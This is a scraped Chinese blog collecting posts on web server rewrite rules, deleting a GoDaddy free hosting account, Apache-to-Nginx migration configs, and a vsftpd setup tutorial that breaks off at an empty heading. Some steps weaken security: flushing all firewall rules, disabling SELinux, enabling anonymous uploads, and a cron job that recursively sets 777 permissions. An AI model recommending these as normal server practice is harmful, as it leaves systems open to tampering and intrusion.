RewriteRule ^(.*)-au-(.*).html$ articles.php?authors_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-a-(.*).html$ article_info.php?articles_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-pr-(.*).html$ product_reviews.php?products_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-pri-(.*).html$ product_reviews_info.php?products_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-i-(.*).html$ information.php?info_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-pm-([0-9]+).html$ info_pages.php?pages_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-links-(.*).html$ links.php?lPath=$2&%{QUERY_STRING}
RewriteRule ^(.*)-n-(.*).html$ newsdesk_info.php?newsdesk_id=$2&%{QUERY_STRING}

RewriteRule ^(.*)-nc-(.*).html$ newsdesk_index.php?newsPath=$2&%{QUERY_STRING}
RewriteRule ^(.*)-nri-(.*).html$ newsdesk_reviews_info.php?newsdesk_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-nra-(.*).html$ newsdesk_reviews_article.php?newsdesk_id=$2&%{QUERY_STRING}

RewriteRule ^(.*)-f-(.*).html$ faqdesk_info.php?faqdesk_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-fc-(.*).html$ faqdesk_index.php?faqPath=$2&%{QUERY_STRING}
RewriteRule ^(.*)-fri-(.*).html$ faqdesk_reviews_info.php?faqdesk_id=$2&%{QUERY_STRING}
RewriteRule ^(.*)-fra-(.*).html$ faqdesk_reviews_article.php?faqdesk_id=$2&%{QUERY_STRING}

-----------------------  Eof Code ------------------------
参考:http://www.crazylemon.net/nginx/620.html

[Godaddy]最新删除Godaddy免费空间的方法图文说明

| | 0 评论 |

上周末用Godaddy赠送的免费空间做了一下测试,完了之后准备把这个域名绑到别的主机上,毕竟Godaddy的这个免费空间不适合做站了,速度都还行,就是有广告,虽然网络上也有各种除去广告的方法,但这些都只能说是暂时的,做站都很辛苦,谁都不愿意去冒这个风险,到时候Godaddy堂而皇之的把你的空间删掉,你一点脾气都没。所以godaddy送的这种空间就只能做做测试,或者做做图床什么的…

于是,我就要把这个免费的空间帐户删掉。然而,让我郁闷的是,我翻烂了godaddy的网站都没找到删除的地方,以前我也删过,就在Product List里,只要选中要删除的帐户,然后点Cancel就行了,可是,这次我怎么也找不到这个界面的,而且,Godaddy的某些界面似乎改版了,有的界面跟以前的不一样了,在右边的菜单里只有Free Account和Hosting,只有在这两个里面找了,然而只看到对域名修改的界面。

Google、百度了一番也没结果。

终于,在不经意间,我发现了它,不禁暗爽了一把,嘎嘎…

上图:

在My Account页面的Products区域内,点击你要删除的免费空间所在的域名,弹出如下对话框:

选中Edit Account Details页签,然后点击右下角的cancel this account就可以了。

From:http://ineedblog.org/webhost/the-latest-way-to-delete-godaddy-free-wehost.html

由于Godaddy.com网站的会员管理界面更新变动了,很多操作都有所改变,比如Godaddy的免费空间的删除方法也有所改变,很多用户现在都不知道怎么删除,其实现在的删除方法比以前简单了许多。

1、登陆用户界面,点击左边的Free Products进入免费产品列表,点击Hosting Accounts进入免费空间列表

2、点击要删除的免费空间的域名

3、会弹出一个信息窗口,点击其中的Edit Account Details,然后再点击右下角的"Cancel this account"

4、这时会弹出确认取消的窗口,点击"Cancel Account"就删除免费空间了

至此,该免费空间就完全删除了。

参考:http://www.chinaz.com/Webbiz/Exp/09101323642010.html

[Godaddy]最新删除Godaddy免费空间的方法图文说明

| | 0 评论 |

周末用Godaddy赠送的免费空间做了一下测试,完了之后准备把这个域名绑到别的主机上,毕竟Godaddy的这个免费空间不适合做站了,速度都还行,就是有广告,虽然网络上也有各种除去广告的方法,但这些都只能说是暂时的,做站都很辛苦,谁都不愿意去冒这个风险,到时候Godaddy堂而皇之的把你的空间删掉,你一点脾气都没。所以godaddy送的这种空间就只能做做测试,或者做做图床什么的…

于是,我就要把这个免费的空间帐户删掉。然而,让我郁闷的是,我翻烂了godaddy的网站都没找到删除的地方,以前我也删过,就在Product List里,只要选中要删除的帐户,然后点Cancel就行了,可是,这次我怎么也找不到这个界面的,而且,Godaddy的某些界面似乎改版了,有的界面跟以前的不一样了,在右边的菜单里只有Free Account和Hosting,只有在这两个里面找了,然而只看到对域名修改的界面。

Google、百度了一番也没结果。

终于,在不经意间,我发现了它,不禁暗爽了一把,嘎嘎…

上图:

在My Account页面的Products区域内,点击你要删除的免费空间所在的域名,弹出如下对话框:

选中Edit Account Details页签,然后点击右下角的cancel this account就可以了。

From:http://ineedblog.org/webhost/the-latest-way-to-delete-godaddy-free-wehost.html

[linux][code]typecho的rewrite规则for Nginx[伪静态]

2010年9月12日星期日 | | 0 评论 |

typecho在nginx下的rewrite有好多方法,试下来还是这个方便一些!

1  2  3  4  5  6  7  8  9  10  11  12  
location / {          index index.html index.php;          if (-f $request_filename/index.html){              rewrite (.*) $1/index.html break;          }          if (-f $request_filename/index.php){              rewrite (.*) $1/index.php;          }          if (!-f $request_filename){              rewrite (.*) /index.php;          }      }


转自武眉博!参考:http://www.weijingtai.com/2010/03/20/typecho-rewrite-for-nginx/

 

[linux][web server]从Apache 转移到 Nginx 的操作笔记

| | 0 评论 |

 RedHat AS4 U5 +nginx-0.7.30 + php-5.2.8 + mysql-5.1.30 +Zend-3.3.3 + vsftpd-2.0.5

作者:Linuxsun
出处:LSUN技术论坛 http://bbs.linuxsun.cn
目标:运用低的硬件配置做最高效的服务平台!
本次实验
P4 2.8 512M内存 80G硬盘 10M独享 nginx虚拟机数量5个以上 vsftpd二个虚拟用户 域名:
http://bbs.linuxsun.cn
基本软件的安装,文章可以看:http://bbs.linuxsun.cn/search.php?
searchid=6&;orderby=lastpost&ascdesc=desc&searchsubmit=yes&page=2
这里主要说明一些出错的解决方法以及给出源配置文件。
基本的软件都运行起来了:
======================================================
[root@localhost ~]# netstat -na |grep LISTEN
tcp        0      0 0.0.0.0:903                 0.0.0.0:*                   LISTEN   
  
tcp        0      0 127.0.0.1:9000              0.0.0.0:*                   LISTEN   
  
tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN   
  
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN   
  
tcp        0      0 0.0.0.0:80                  0.0.0.0:*                   LISTEN   
  
tcp        0      0 0.0.0.0:21                  0.0.0.0:*                   LISTEN   
  
tcp        0      0 221.5.41.5:53               0.0.0.0:*                   LISTEN   
  
tcp        0      0 127.0.0.1:53                0.0.0.0:*                   LISTEN   
  
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN   
  
tcp        0      0 127.0.0.1:953               0.0.0.0:*                   LISTEN   
  
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN   
  
tcp        0      0 :::22                       :::*                        LISTEN   
  
======================================================
Nginx.conf
-------------------------------------------------------------
user  www linuxsun;
worker_processes 10;
pid /var/log/nginx.pid;
error_log  /dev/null;
worker_rlimit_nofile 51200;
events
{
       use epoll;
       #maxclient = worker_processes * worker_connections / cpu_number
       worker_connections 51200;
}
http
{
       include       /usr/local/nginx/conf/mime.types;
       default_type  application/octet-stream;
       charset  gb2312;
       log_format  main  '$remote_addr - $remote_user [$time_local] $request '
                         '"$status" $body_bytes_sent "$http_referer" '
                         '"$http_user_agent" "$http_x_forwarded_for"';
       access_log  /dev/null;
       server_names_hash_bucket_size 128;
       client_header_buffer_size 32k;
       large_client_header_buffers 4 32k;
       ignore_invalid_headers   on;
       recursive_error_pages    on;
       server_name_in_redirect off;
       sendfile                 on;
       keepalive_timeout 60;
       tcp_nopush  on;
       tcp_nodelay on;
       fastcgi_connect_timeout 300;
       fastcgi_send_timeout 300;
       fastcgi_read_timeout 300;
       fastcgi_buffer_size 128k;
       fastcgi_buffers 4 128k;
       fastcgi_busy_buffers_size 128k;
       fastcgi_temp_file_write_size 128k;
       fastcgi_intercept_errors on;
       client_max_body_size       50m;
       client_body_buffer_size    256k;
       gzip on;
       gzip_min_length  0;
       gzip_buffers     16 8k;
       gzip_http_version 1.0;
       gzip_comp_level 9;
       gzip_types       text/plain text/css image/x-icon image/png;
       gzip_vary on;
       proxy_temp_path            /dev/shm/proxy_temp;
       fastcgi_temp_path          /dev/shm/fastcgi_temp;
       client_body_temp_path      /dev/shm/client_body_temp;
        #www.linuxsun.cn
        include          /usr/local/nginx/conf/vhosts/linuxsun.conf;
}
-------------------------------------------------------------
/usr/local/nginx/conf/vhosts/linuxsun.conf
============================================
server {
listen       80;
server_name  bbs.linuxsun.cn;
root /www/bbs;
location / {
index index.html index.htm index.php;
root /www/bbs;
rewrite ^(.*)/archiver/((fid|tid)-[\w\-]+\.html)$ $1/archiver/index.php?$2 last;
rewrite ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay.php?fid=$2&page=$3 last;
rewrite ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/viewthread.php?
tid=$2&extra=page%3D$4&page=$3 last;
rewrite ^(.*)/profile-(username|uid)-(.+)\.html$ $1/viewpro.php?$2=$3 last;
rewrite ^(.*)/space-(username|uid)-(.+)\.html$ $1/space.php?$2=$3 last;
rewrite ^(.*)/tag-(.+)\.html$ $1/tag.php?name=$2 last;
}
location ~ \.(png|jpg|gif|bmp|swf)$ {
proxy_store on;
access_log off;
proxy_store_access user:rw group:rw all:rw;
}
location ~ \.php$ {
include /usr/local/nginx/conf/fscgi.conf;
}
}
server {
listen       80;
server_name  sns.linuxsun.cn;
root /www/sns;
location / {
index index.html index.htm index.php;
rewrite ^(.*)/archiver/((fid|tid)-[\w\-]+\.html)$ $1/archiver/index.php?$2 last;
rewrite ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay.php?fid=$2&page=$3 last;
rewrite ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/viewthread.php?
tid=$2&extra=page%3D$4&page=$3 last;
rewrite ^(.*)/profile-(username|uid)-(.+)\.html$ $1/viewpro.php?$2=$3 last;
rewrite ^(.*)/space-(username|uid)-(.+)\.html$ $1/space.php?$2=$3 last;
rewrite ^(.*)/tag-(.+)\.html$ $1/tag.php?name=$2 last;
}
location ~ \.(png|jpg|gif|bmp|swf)$ {
proxy_store on;
access_log off;
proxy_store_access user:rw group:rw all:rw;
}
location ~ \.php$ {
include /usr/local/nginx/conf/fscgi.conf;
}
}
server {
listen       80;
server_name  ebak.linuxsun.cn;
root /www/ebak;
location / {
index index.html index.htm index.php;
}
location ~ \.(png|jpg|gif|bmp|swf)$ {
access_log off;
proxy_store on;
proxy_store_access user:rw group:rw all:rw;
}
location ~ \.php$ {
include /usr/local/nginx/conf/fscgi.conf;
}
}
server {
listen       80;
server_name  ftp.linuxsun.cn;
root /www/ftp/cnc;
location / {
autoindex on;
index index.html index.htm index.php;
}
location ~ \.(png|jpg|gif|bmp|swf)$ {
proxy_store on;
access_log off;
proxy_store_access user:rw group:rw all:rw;
}
location ~ \.php$ {
include /usr/local/nginx/conf/fscgi.conf;
}
}
=============================================

/usr/local/nginx/conf/fscgi.conf
----------------------------------------
fastcgi_pass  127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param  GATEWAY_INTERFACE  CGI/1.1;
fastcgi_param  SERVER_SOFTWARE    nginx;
fastcgi_param  QUERY_STRING       $query_string;
fastcgi_param  REQUEST_METHOD     $request_method;
fastcgi_param  CONTENT_TYPE       $content_type;
fastcgi_param  CONTENT_LENGTH     $content_length;
fastcgi_param  SCRIPT_FILENAME    $document_root$fastcgi_script_name;
fastcgi_param  SCRIPT_NAME        $fastcgi_script_name;
fastcgi_param  REQUEST_URI        $request_uri;
fastcgi_param  DOCUMENT_URI       $document_uri;
fastcgi_param  DOCUMENT_ROOT      $document_root;
fastcgi_param  SERVER_PROTOCOL    $server_protocol;
fastcgi_param  REMOTE_ADDR        $remote_addr;
fastcgi_param  REMOTE_PORT        $remote_port;
fastcgi_param  SERVER_ADDR        $server_addr;
fastcgi_param  SERVER_PORT        $server_port;
fastcgi_param  SERVER_NAME        $server_name;
fastcgi_param HTTP_ACCEPT_ENCODING gzip,deflate;
fastcgi_param HTTP_ACCEPT_ENCODING attach;
fastcgi_param HTTP_ACCEPT_ENCODING rar,deflate;
----------------------------------------
vsftpd安装配置可以看:http://bbs.linuxsun.cn/search.php?
searchid=7&;orderby=lastpost&ascdesc=desc&searchsubmit=yes
/etc/vsftpd.conf
---------------------------------------
# Example config file /etc/vsftpd.conf
anonymous_enable=NO
local_enable=YES
user_config_dir=/etc/vsftpd/user_list
guest_enable=YES
#guest_username=daemon
#pam_service_name=vsftpd
pam_service_name=/etc/pam.d/ftp.vu
connect_from_port_20=YES
write_enable=YES
local_umask=000
dirmessage_enable=YES
xferlog_enable=YES
listen=YES
listen_port=21
------------------------------------
虚拟用户linuxsun
------------------------------------------
[root@localhost ~]#  cat /etc/vsftpd/user_list/linuxsun
local_umask=077
guest_username=linuxsun
anon_upload_enable=YES
anon_mkdir_write_enable=YES
anon_other_write_enable=YES
local_root=/www/ftp/cnc
-----------------------------------
有一个非常郁闷的问题。LeapFTP 用linuxsun登录,上传一个文件测试下。发现权限-rw-----
根据网上的资料说,设置成:
local_umask=000
但是我自己测试,就算这样设置,新上传的文件权限还是-rw-----
why????
算了,用crontab 来自动设置权限吧:
================================
#[root@localhost ~]# crontab -l
3 * * * *   /bin/rndc reload 1> /dev/null
10 6 6 * *    /usr/sbin/ntpdate 210.72.145.44
0-1 * * * *  /bin/chmod -R 777 /www/ftp
================================
如果此处权限不是777的话,Discuz!附件去上传不了。下载也不行。
php 和mysql的配置文件就不用贴了。。。
基本不做修改。。。
通过以上配置文件,一个高速、稳定的平台出来了。
看下机器的使用情况:
top - 18:20:27 up 1 day,  5:56,  1 user,  load average: 0.00, 0.00, 0.00
Tasks:  74 total,   2 running,  72 sleeping,   0 stopped,   0 zombie
Cpu(s):  0.0% us,  0.3% sy,  0.0% ni, 99.7% id,  0.0% wa,  0.0% hi,  0.0% si
Mem:    498900k total,   427408k used,    71492k free,   149696k buffers
Swap:  1052248k total,        0k used,  1052248k free,   109176k cached
一般会出现的问题:
1. [url=viewthread.php?tid=672&highlight=nginx]No input file specified[/url]
2.[url=viewthread.php?tid=740&highlight=nginx]proxy_pass后图片不能显示![/url]
3. discuz!开启全部伪静态,首页能显示,贴子无法查看。

我完全是从LAMP 移过来的,感觉速度和性能都提高几倍。
在网上翻了不少资料,喜欢的朋友欢迎转载,在此感谢CU 51cto "NetSeek"  

 
参考:http://www.linuxeden.com/forum/thread-174144-1-1.html

[linux][code]discuz rewrite for nginx[伪静态规则]

| | 0 评论 |

discuz 在nginx下的伪静态规则! (ps:discuz的伪静态规则 ,一般情况下是通用的,不必区分是discuz6还是7)

location / {        rewrite ^(.*)/archiver/((fid|tid)-[\w\-]+\.html)$ $1/archiver/index.php?$2 last;        rewrite ^(.*)/forum-([0-9]+)-([0-9]+)\.html$ $1/forumdisplay.php?fid=$2&amp;page=$3 last;        rewrite ^(.*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/viewthread.php?tid=$2&amp;extra=page%3D$4&amp;page=$3 last;        rewrite ^(.*)/profile-(username|uid)-(.+)\.html$ $1/viewpro.php?$2=$3 last;        rewrite ^(.*)/space-(username|uid)-(.+)\.html$ $1/space.php?$2=$3 last;        rewrite ^(.*)/tag-(.+)\.html$ $1/tag.php?name=$2 last;          }

Uchome的在这里

参考:http://www.weijingtai.com/2010/03/27/discuz-rewrite-nginx/

[linux][code]uchome rewrite for nginx[伪静态]

| | 0 评论 |

ngnix下uchome的伪静态规则,可以和discuz的规则合用

1  2  3  4  5  
location / {       rewrite ^(.*)/(space|network)\-(.+)\.html$ $1/$2.php?rewrite=$3 last;       rewrite ^(.*)/(space|network)\.html$ $1/$2.php last;       rewrite ^(.*)/([0-9]+)$ $1/space.php?uid=$2 last;          }
 
参考:   http://www.weijingtai.com/2010/03/27/uchome-rewrite-nginx/

[linux]centos之vsftpd的配置[文字版]

| | 0 评论 |

摘要:vsFTPd是一款小巧易用FTP服务器程序;本文面向初学者的一点疑问,能让初学者在最短的时间内学会最简单的vsFTPd服务器的架设;本文应该算是初学者练手篇;正在更新之中;本文基于 vsFTPd-2.0.3;

欢迎大家共同修订本教程,有些功能的实现,需要大家参与;您可以以留言的形式参与,我会每天把大家的留言整理加入文档;谢谢。

1、vsFTPd,目前常用FTP服务器套件;

vsFTPd是一款在Linux发行版中最受推崇的FTP服务器程序;特点是小巧轻快,安全易用;能让其自身特点得发发挥和掌握,也然最主要的是会用;

目前在开源操作系统中常用的FTPD套件主要有ProFTPD、PureFTPd和wuftpd等;至于哪个FTP服务器套件更好,哪个是你最熟悉的,哪个就是最好的;

2、ftp 用户管理解说;

FTP服务器对用户的管理,在默认的情况下是根据 /etc/passwd及/etc/group
来进行的,所以我们一定要了解Linux系统用户和用户组的管理,用户和用户组的管理是一切应用的的基础,有的弟兄不想去了解基础的东西,就想一步成架好
各种服务器,事实证明这种学习方法是最不明智的;虽然在您可能在几分钟启动了ftp服务器,但遇到问题时,您不一定能知道是哪里出错;所以基础还是极为重
要的;

推荐文章: 《Linux 用户(user)和用户组(group)管理概述》

2.1、匿名ftp 用户和用户组的理解;

当我们访问各大FTP上访问时,可能我们不去想我们以什么身份登录的,如果他的FTP允许匿名登录的话;比如我们在浏览器上打入;

ftp://mirrors.kernel.org

ftp://ftp:[email protected]
我们会发现上面的两行最终都能访问,而且显示的结果也完全一样,最终都跳到 ftp://mirrors.kernel.org
地址;那我们访问这个FTP时,是不是有用户和密码呢?是的,也是需要在的,只是在服务器端允许匿名访问,而匿名访问的用户名和密码都是ftp,只是我们
因为匿名访问,没有感觉到他有用户名和密码罢了。第二个地址就是以ftp用户,密码也是ftp来访问
ftp://mirrors.kernel.org

如果我们以ftp命令连接 mirrors.kernel.org 时,我们会发现需要输入用户ftp,密码ftp才能访问;

在FTP服务器中,匿名用户的用户名和密码都是ftp ;这个用户可以在您的操作系统中的 /etc/passwd 中能找得到;可能有类似下面的一行;

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
说明:

/etc/passwd 是系统用户的配置文件;/etc/group是系统用户组配置文件,您可以通过 《Linux 用户(user)和用户组(group)管理概述》 及其相关文档中了解一些用户管理的一些基础知识;

在ftp用户这行中,我们看到七个字段,每个字段写字段之间用:号分割;

ftp 是用户名

x   是密码字段,是隐藏的;

14   是用户的UID字段,可以自己来设定,不要和其它用户的UID相同,否则会造成系统安全问题;

50   用用户组的GID,可以自己设定,不要和其它用户组共用FTP的GID,否则会造成系统全全问题;

FTP User 是用户说明字段;

/var/ftp  是ftp用户的家目录,可以自己来定义;

/sbin/nologin 这是用户登录SHELL ,这个也是可以定义的,/sbin/nologin
表示不能登录系统;系统虚拟帐号(也被称为伪用户)一般都是这么设置。比如我们把ftp用户的/sbin/nologin 改为 /bin/bash
,这样ftp用户通过本地或者远程工具ssh或telnet以真实用户身份登录到系统。这样做对系统来说是不安全的;如果您认为一个用户没有太大的必要登
录到系统,就可以只给他FTP帐号的权限,也就是说只给他FTP的权限,而不要把他的SHELL设置成 /bin/bash 等;

关于ftp用户组的理解:

我们查看 /etc/group 的时候,会发现类似这样一条;

ftp:x:50:
/etc/group 是用户组的管理配置文件,上面这行表示用户组ftp,x是密码段,50是GID;我们对照在/etc/passwd中的ftp那行得知ftp用户是属于ftp用户组的,因为ftp用户那行中的GID和ftp用户组的GID是相同的;

2.2、匿名ftp 用户和ftp用户组是否可以删除

在一般情况下是不能把/etc/passwd和/etc/group 中有把ftp用户和用户组的行删除的,因为FTP服务器是需要他们来对FTP用户实现管理,在默认的情况下。

虽然不能删除,但对/etc/passwd及/etc/group中的ftp用户及ftp用户组的一些相关的东西是能修改的;比如我们可以把ftp
用户的家目录改掉,也可以把ftp用户的UID改掉 … …
前提是你对用户管理有所了解,系统用户管理是一切应用基础之一,可能初学Linux的弟兄并不了解用户管理的重要性,但慢慢您就会发现这个道理;

3、vsFTPd的安装;

在最新的各大发行版中的安装盘中都有vsFTPd的软件包,您用相应发行版提供的软件包管理工具就能安装上;当然您可以到各大发行版的FTP镜像中找到 vsFTPd的软件包;当然也能用软件包的管理工具在线安装;vsFTPd的软件包本来不大,花不了多长时间,两分钟就够了吧;因为本文是初学者教程,我严重推荐您用发行版提供的软件来安装,不推荐您自己来编译源码包的安装方式;

如果您用的是Fedora 或Redhat 系统,可以用下面的命令在线安装;

[root@localhost ~]# yum install vsFTPd

如果是debian 类系统,可以用apt 来在线安装;

[root@localhost ~]# apt-get install vsFTPd
如果您是RPM的系统,也可以找到vsFTPd-xxxx.rpm 的包来通过rpm命令来安装;

[root@localhost ~]# rpm -ivh vsFTPd*.rpm
您可以下载源码包来安装

比如我们下载的是 vsFTPd-2.0.3.tar.gz ;

[root@localhost ~]# tar zxvf vsFTPd-2.0.3.tar.gz
[root@localhost ~]# cd vsFTPd-2.0.3
[root@localhost ~]# make ;make install
[root@localhost ~]# cp vsFTPd.conf /etc
然后修改/etc/vsFTPd.conf ,在配置文件的最后一行加入下面一行;

listen=yes

源码包安装的方法,如果您的系统是RPM包管理的系统,可以删除/etc/xinetd.d/vsFTPd 这个文件;然后启动xinetd 服务器;

[root@localhost ~]# /etc/init.d/xinetd restart


xinetd:
[  确定  ]
启动
xinetd:
[  确定  ]

vsFTPd运
行有两种模式,在RPM包管理的系重审统,大多是由Fedora/Redhat
开发而来,对于这样的系统有xinted服务器一说;对于非RPM包管理的系统,一般没有xinted这一说。为了保证本文档的统一,我们都不要用
xinetd模式,而用initd运行模式来启动和管理服务器,也就是独立运行模式; 至于什么是xinted和inted 模式,您可以参考《 用vsFTPd自架Linux网络安装服务器》

4、vsFTPd的服务器的启动和关闭;

vsFTPd服务器启动和关闭是极容易的;我们可以直接把服务器运行调到后台运行;这是几乎所有服务器管理的运行方式;

4.1、vsFTPd服务器启动和关闭的通用方法;

运行vsFTPd命令,要用到root权限,如果您当前操作用户并非是root,可以用su切换到root权限;关于root权限的切换,您有两种方式,一种是su,另一种是sudo;请参考: 《Linux 系统中的超级权限的控制》

vsFTPd服务器的运行;

[root@localhost ~]# /usr/sbin/vsFTPd &
[root@localhost ~]# /usr/local/sbin/vsFTPd &

vsFTPd服务器是否运行起来;

我们可以通过pgrep vsFTPd 来查看vsFTPd是否运行起来;

[root@localhost ~]# pgrep vsFTPd
4248
上面显示vsFTPd服务器运行起来了,您可以通过ftp命令、lftp工具或gftp或其它的FTP客户端来测试连接;

vsFTPd 服务器关闭:

我们用pkill vsFTPd 来杀死vsFTPd进程,这样就把vsFTPd关闭,用psgrep vsFTPd 来查看进程,如果没有进程,证明vsFTPd已经关掉;当然也要用到root权限。

[root@localhost ~]# pkill vsFTPd
[root@localhost ~]# pgrep vsFTPd

4.2、在Fedora/Redhat/CentOS中vsFTPd 服务器的启动和关闭:

在Fedora/Redhat/CentOS中,也可以用下面的方法来启动vsFTPd;当然也要用到root权限;

[root@localhost beinan]# /etc/init.d/vsFTPd start
为 vsFTPd 启动 vsFTPd:

[  确定  ]
重新启动vsFTPd用下面的命令;

[root@localhost beinan]# /etc/init.d/vsFTPd restart
关闭 vsFTPd:

[  确定  ]
为 vsFTPd 启动 vsFTPd:
[  确定  ]

关掉vsFTPd服务器,应该用下面的命令;

[root@localhost beinan]# /etc/init.d/vsFTPd stop
关闭 vsFTPd:
[  确定  ]

5、vsFTPd的服务器和防火墙及SELINUX的关系;(重要)

我在论坛上看到有些弟兄说vsFTPd服务器启动正常,但却不能访问或用户不能上传文件,我感觉应该是防火墙或SELINUX的事;可能FTPD服务器被防火墙或SELINUX的安全机制防住了。所以您必须要让防火墙通过ftp,当然也要让SELINUX通过ftp服务器才行;

在Fedora/Redhat/CentOS中,您要设置一下防火墙,可以把防火墙关掉,或者在自定义中让ftp "通过"防火墙;

[root@localhost ~]# system-config-securitylevel-tui
或者运行一下如下的命令,清除防火墙规则(通用);

[root@localhost beinan]# iptables -F

关于SELINUX服务器的解说 ,可能老手或新手对SELINUX都有点麻烦,建议您SELINUX;或者让vsFTPd服务器跳过SELINUX启动;也就是说要用到 4.1、vsFTPd服务器启动和关闭的通用方法;;这在Fedora/Redhat/CentOS中这样启动vsFTPd服务器是有效的;

当然您可也可以关掉SELINUX,在/etc/selinux/config 配置文件如下;

/etc/selinux/config
# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
#       enforcing – SELinux security policy is enforced.
#       permissive – SELinux prints warnings instead of enforcing.
#       disabled – SELinux is fully disabled.
SELINUX=Disabled  #这样就把SELINUX服务器关掉了,请重新启动系统;
# SELINUXTYPE= type of policy in use. Possible values are:
#       targeted – Only targeted network daemons are protected.
#       strict – Full SELinux protection.
SELINUXTYPE=targeted

6、500 OOPS: vsFTPd: refusing to run with writable anonymous root

如果我们已经把vsFTPd服务器启动好了,但登录测试是会出现类似下面的提示;

500 OOPS: vsFTPd: refusing to run with writable anonymous root

这表示ftp用户的家目录的权限不对,应该改过才对;

[root@localhost ~]# more /etc/passwd |grep ftp
ftp:x:1000:1000:FTP User:/var/ftp:/sbin/nologin

我们发现ftp用户的家目录在/var/ftp,就是这个/var/ftp的权限不对所致,这个目录的权限是不能打开所有权限的;是您运行了chmod 777 /var/ftp所致;如果没有ftp用户这个家目录,当然您要自己建一个;

如下FTP用户的家目录是不能针对所有用户、用户组、其它用户组完全开放;

[root@localhost ~]# ls -ld /var/ftp
drwxrwxrwx  3 root root 4096 2005-03-23  /var/ftp
修正这个错误,应该用下面的办法;

[root@localhost ~]# chown  root:root /var/ftp
[root@localhost ~]# chmod  755 /var/ftp

有的弟兄可能会说,那匿名用户的可读、可下载、可上传怎么办呢?这也简单,在/var/ftp下再建一个目录,权限是777的就行了,再改一改vsFTPd.conf就OK了;没有什么难的;

vsFTPd出于安全考虑,是不准让ftp用户的家目录的权限是完全没有限制的,您可以去读一下vsFTPd的文档就明白的了;否则也不能称为最安全的FTP服务器了,对不对?

7、关于vsFTPd配置文件的说明;

vsFTPd.conf是vsFTPd服务器的配置文件,此文件一般是/etc/vsFTPd.conf或/etc/vsFTPd/vsFTPd.conf ,以系统为准吧。。

vsFTPd.conf配置文件就是vsFTPd服务器的全局控制文件,此配置文件中,每行应该算做一个规则;前面带有#号的服务器不会解释,这和apache 的配置文件类似;#后所接的内容一般是说明性的,或者是关掉某些功能的选项;

vsFTPd.conf 这个配置文件并不包括所有您想实现的功能,有些功能的实现,我们要自己动手来解决,我们要学会查vsFTPd的文档和FAQ等,虽然是英文的,但都是比较简单的;我们要习惯看洋文文档,为什么呢?因为Linux本来就是洋人厉害,重量级的软件都是洋人的。呵,兄弟不要抱怨,谁让我们落后了呢?

注意:修改完配置文件后,一定要重启vsFTPd服务器才能生效,切记~~

8、关于vsFTPd服务器的一些常用功能的实现;

8.1、关于匿名上传下载的实现;

关于匿名上传,其实也比较简单,首先我们要修改一下vsFTPd.conf ,此文件位于 /etc/目录下,可能是/etc/vsFTPd.conf,也可能是/etc/vsFTPd/vsFTPd.conf文件。以您的系统环境为准;

首先:我们要改一下vsFTPd.conf,确保有以下几行;

anonymous_enable=YES
anon_upload_enable=YES
anon_mkdir_write_enable=YES
anon_umask=022

其次:在ftp用户家目录的下建一个文件夹,并修改其权限为完全开放;

ftp用户的家目录在哪?我们前面已经说了,要通过/etc/passwd来查看;也可以通过finger ftp来查看;

[root@localhost beinan]# finger ftp
Login:
ftp
Name: FTP User
Directory:
/var/ftp
Shell: /sbin/nologin
这说明ftp用户的家目录在/var/ftp
,我们要在这个目录下建一个目录,然后把他的权限设置为任何用户可读可写可执行就行了;一般的情况下,在发行版中,有一个/var/ftp/pub的目
录,如果没有,您也可以自己建一个;把配置文件改好后,只要把/var/ftp下的任何一个目录的权限打开,都可以用来匿名上传和下载;

比如您想让匿名用户上传和下载都在/var/ftp/pub,就可以把/var/ftp/pub的权限打开,如果没有这个目录,您要自己建一个;

[root@localhost ~]# mkdir /var/ftp/pub
[root@localhost ~]# chmod 777 /var/ftp/pub

这样上传的时候传到pub目录就OK了,对不对??

8.2、关于添加本地用户及打开读写权限示例;

FTP用户一般是不能登录系统的,这也是为了安全。在系统中,没有权限登录系统的用户一般也被称之为虚拟用户;虚拟用户也是要写进/etc
/passwd中;这只是一种虚拟用户的方法,但说实在的并不是真正的虚拟用户,只是把他登录SHELL的权限去掉了,所以他没有能力登录系统;

如果我们想把beinan这个用户目录定位在/opt/beinan这个目录中,并且不能登录系统;我们应该如下操作

[root@localhost ~]# adduser -d /opt/beinan -g ftp -s /sbin/nologin beinan
[root@localhost ~]# passwd beinan
Changing password for user beinan.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.
[root@localhost ~]#
其实这还是不够的,还要改一下配置文件vsFTPd.conf  ,以确保本地虚拟用户能有读写权限;

local_enable=YES
write_enable=YES
local_umask=022

8.4、如何实现虚拟路径?

比如:

/home/a 映射为 ftp://localhost/a
/home/b/c 则为 ftp://localhost/c
其实这个不能说是vsFTPd的内容,其实我们早就接触过了,可能我们没有注意,我们可以通过如下的方法来实现。

[root@localhost ~]# mount –bind [原有的目录] [新目录]

比如我的ftp的默认目录是/var/ftp,我想把/mnt/LinG/WinSoft文件夹,映射到/var/ftp目录中,我就如下操作

我们要先在/var/ftp目录中建一个目录

[root@localhost ~]# mkdir /var/ftp/WinSoft
然后执行mount命令

[root@localhost ~]# mount –bind /mnt/LinG/WinSoft /var/ftp/WinSoft
这样就OK了。

8.5、打开vsFTP服务器的日志功能;

把下面xferlog_file前面的#号对掉,也就是把vsftp的log功能打开,这样我们就能在/var/log目录下查看vsFTPd.log。这是vsFTP的日志功能,这对于我们来说是极为重要的。

xferlog_file=/var/log/vsFTPd.log

8.6、如何定制欢迎信息;

